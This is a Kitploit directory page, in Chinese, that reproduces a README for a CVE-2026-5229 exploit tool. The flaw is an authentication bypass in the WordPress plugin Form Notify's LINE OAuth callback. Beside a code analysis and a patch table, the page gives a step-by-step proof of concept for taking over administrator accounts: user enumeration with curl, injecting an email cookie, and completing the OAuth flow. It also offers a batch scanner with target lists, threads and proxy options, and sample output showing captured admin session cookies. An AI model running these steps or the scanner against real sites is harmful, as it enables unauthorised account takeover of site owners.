Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5229 — CVE-2026-5229:通过 LINE OAuth 回调绕过表单通知认证(CVSS 9.8) | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-5229
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229:通过 LINE OAuth 回调绕过表单通知认证(CVSS 9.8)

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5229

CVE-2026-5229: 通过 LINE OAuth 回调的 Form Notify 认证绕过 (CVSS 9.8)

Form Notify — LINE OAuth 认证绕过扫描器

插件: Form Notify (form-notify) 漏洞类型: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS 分数: 9.8 (严重) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 受影响版本: <= 1.1.10 补丁版本: 1.1.11+ 研究人员: Paolo Tresso — Wordfence


📌 漏洞相关信息

Form Notify 插件是一个在表单提交后发送通知,并提供 LINE Login OAuth 2.0 集成的 WordPress 插件。

漏洞存在于 LINE OAuth 回调处理器中。用户完成 LINE 授权流程后,插件仅根据邮箱地址解析 WordPress 账户。 它从不检查该 LINE 账户是否之前已关联到该 WordPress 账户。


🔍 版本级漏洞表

版本漏洞攻击方法
<= 1.1.08Cookie 注入 + 邮箱匹配Path A 或 Path B
1.1.09 – 1.1.10邮箱匹配 (cookie 已移除)Path B
1.1.11+已修补—

⚙️ 技术分析

开放的 REST 端点

LINE OAuth 回调端点完全注册为公开:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // 无需身份验证
        },
    )
);

为何 Nonce 无法提供保护?

WordPress nonce 是 CSRF token,而非身份验证 token。 每个访客都可以从页面 HTML 中获取有效的 nonce 并通过验证检查。


通过邮箱解析账户 (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // 仅通过邮箱搜索
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // 无关联性检查
    }
    return false;
}

如果找到匹配项,login() 方法会立即建立会话:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie 注入 (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

当 LINE 配置文件未返回邮箱时($user->email 为空), 插件直接读取浏览器 cookie。攻击者完全控制此 cookie。


State 验证缺陷

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // 如果 Transient 不存在,则回退到 $_SESSION
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

如果 Transient 过期,会启用 $_SESSION 回退。在大多数 WordPress 安装中,此时 $_SESSION 为空 → 可绕过 state 检查。


次要问题 — 邮箱 = 密码 (<= 1.1.10)

root@kitploit:~
// sign_up() 方法
$userdata = array(
    'user_pass' => $user_email,  // 密码 = 邮箱地址
    ...
);

通过 LINE OAuth 流程创建的账户,密码与邮箱地址相同。 这直接允许暴力破解或登录攻击。


🔴 为何严重?


🧪 概念验证 (手动)

⚠️ 免责声明: 此 PoC 仅用于教育和授权安全测试。未经明确许可对系统进行测试是非法的。

先决条件:

  • Form Notify 插件已安装并激活,LINE Login 已配置
  • LINE 开发者账户和 LINE Login channel
  • 目标站点上存在 LINE 登录按钮的页面

Path A — Cookie 注入 (<= 1.1.08)

第 1 步 — 发现目标邮箱

root@kitploit:~
TARGET="https://target.com"

# 从 WordPress REST API 获取用户列表
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# 或通过作者页面
curl -s "$TARGET/?author=1" -I | grep Location

第 2 步 — 设置 Cookie

打开浏览器开发者工具并粘贴到控制台:

root@kitploit:~
document.cookie = "[email protected]; path=/";

或使用 curl:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

第 3 步 — 启动 LINE OAuth 流程

在浏览器中打开 Location header 中的 LINE OAuth URL。

第 4 步 — 不提供邮箱作用域完成流程

在 LINE 同意屏幕上 不要提供 邮箱权限,或使用无邮箱的 LINE 账户。 LINE 会在没有邮箱的情况下重定向到回调。插件回退到 cookie。

第 5 步 — 验证会话

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

预期响应:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Path B — 邮箱匹配 (<= 1.1.10)

第 1 步 — 发现目标邮箱

与 Path A 第 1 步相同。

第 2 步 — 创建 LINE 账户

在 account.line.biz 使用目标邮箱创建 LINE 账户。 (需要邮箱验证 — 必须能访问目标收件箱。)

第 3 步 — 启动 OAuth 流程

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

第 4 步 — 提供邮箱作用域完成流程

在 LINE 同意屏幕上提供邮箱权限。 LINE 将邮箱地址返回给回调。

第 5 步 — 自动认证

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → 找到 Administrator
     → wp_set_auth_cookie(1)
     → 登录成功 ✓

🛠️ 自动扫描器

安装

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用

单个目标 — 自动邮箱发现

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

指定邮箱使用 Path A (Cookie 注入)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

Path B (邮箱匹配) — 手动完成

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

同时使用两种路径

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

批量扫描

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

使用代理 (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ 参数


📊 扫描器输出状态


🖥️ 示例扫描器输出

root@kitploit:~
[*] 3 个目标 | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  目标邮箱 : [email protected]
  版本       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  用户       : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — 手动完成)
  目标邮箱 : [email protected]
  Cookie 设置 : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login 未激活)

──────────────────────────────────────────────────────────────
  已完成                     :    2
  NO_LINE                    :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ 防御 / 补丁

安全的账户解析示例:

root@kitploit:~
// 不安全 (当前)
$user = get_user_by( 'email', $line_email );

// 安全 (推荐)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // 使用 LINE ID 匹配
) );

📁 文件结构

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # 主扫描器
├── requirements.txt     # 依赖项
└── README.md            # 本文件

⚠️ 法律声明

此工具和 PoC 仅用于授权系统、教育目的以及渗透测试范畴。 在未经授权的系统上使用违反土耳其刑法第 243-245 条以及 国际网络犯罪法律,构成犯罪行为。 开发者不对工具的滥用承担任何法律责任。


📄 许可证

MIT License — 仅限教育和研究用途。


🔗 参考

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
下载工具
原因说明
无需身份验证回调端点完全公开
无关联性检查任意 LINE 账户即足够
Cookie 攻击<= 1.1.08 时甚至不需要邮箱
包括管理员在内的所有账户get_user_by('email') 影响所有人
弱 state 检查CSRF 保护可被绕过
邮箱 = 密码通过 OAuth 创建的账户易受简单暴力破解攻击
参数缩写说明默认值
--url-u单个目标 URL—
--list-l目标列表文件—
--threads-t线程数10
--output-o输出文件auth_bypass.txt
--email—目标用户邮箱自动发现
--path—攻击路径 (A / B / both)both
--max-users—每个目标最大用户数5
--proxy—代理 URL—
--timeout—请求超时 (秒)10
状态说明
★ AUTH OK已获取会话 cookie — 完全自动化
★ WP-ADMIN已重定向到 /wp-admin
~ MANUALOAuth URL 就绪,请在浏览器中完成
~ PATH B使用 LINE 账户手动步骤
- NO_PLUGINForm Notify 未安装
- NO_LINELINE Login 未激活
~ NO_TARGET未找到用户邮箱
~ UNREACH无法访问目标
措施实现
插件更新升级 Form Notify 至 1.1.11+ 版本
LINE 关联性检查将 LINE ID 保存至用户元数据,每次登录时验证
移除 Cookie 回退删除 $_COOKIE['form_notify_line_email'] 的使用
State 验证移除 Transient 回退,拒绝过期的 state
密码策略不在 sign_up() 中将邮箱作为密码使用
REST 端点保护对回调端点实施速率限制